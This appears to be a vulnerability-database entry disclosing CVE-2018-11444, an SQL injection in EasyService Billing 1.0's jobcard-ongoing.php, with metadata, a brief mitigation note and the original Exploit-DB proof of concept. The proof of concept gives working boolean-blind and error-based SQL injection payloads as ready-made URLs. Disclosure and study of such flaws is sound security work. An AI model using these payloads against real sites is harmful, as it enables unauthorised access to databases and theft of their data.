EasyService Billing 1.0 SQL Injection on page jobcard-ongoing.php?q=

vendor:

EasyService Billing

by:

Divya Jain

9.8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: EasyService Billing

Affected Version From: EasyService Billing 1.0

Affected Version To: EasyService Billing 1.0

Patch Exists: YES

Related CWE: CVE-2018-11444

CPE: a:codecanyon:easyservice_billing

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: KaLi LinuX_x64

2018

EasyService Billing 1.0 SQL Injection on page jobcard-ongoing.php?q=

A SQL injection vulnerability exists in EasyService Billing 1.0 in the jobcard-ongoing.php?q= parameter. An attacker can exploit this vulnerability to inject malicious SQL queries into the application and gain access to sensitive data from the database. This can be exploited by sending a specially crafted payload to the vulnerable parameter. Boolean Based Blind SQL and Error-Based SQL payloads can be used to exploit this vulnerability.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

<!--
# Exploit Title: EasyService Billing 1.0 SQL Injection on page jobcard-ongoing.php?q=
# Date: 25-05-2018
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594 
# Exploit Author: Divya Jain
# Version: EasyService Billing 1.0 
# CVE: CVE-2018-11444
# Category: Webapps
# Severity: High
# Tested on: KaLi LinuX_x64
# # # # # # # #
#

# Proof of Concept:
        ////////////////////////////////
          SQL Injection in q parameter
        ///////////////////////////////
    Affected Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=
# Boolean Based Blind SQL
Payload: 1337'OR%20NOT 1=1--
Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=1337'OR%20NOT 1=1--

# Error-Based SQL
Payload: 1337'AND%20(SELECT%202%20FROM(SELECT%20COUNT(*),CONCAT(0x7162627161,(SELECT(ELT(2=2,1))),0x717a6b6271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20'aBCD'='aBCD

Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=1337'AND%20(SELECT%202%20FROM(SELECT%20COUNT(*),CONCAT(0x7162627161,(SELECT(ELT(2=2,1))),0x717a6b6271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20'aBCD'='aBCD
#################################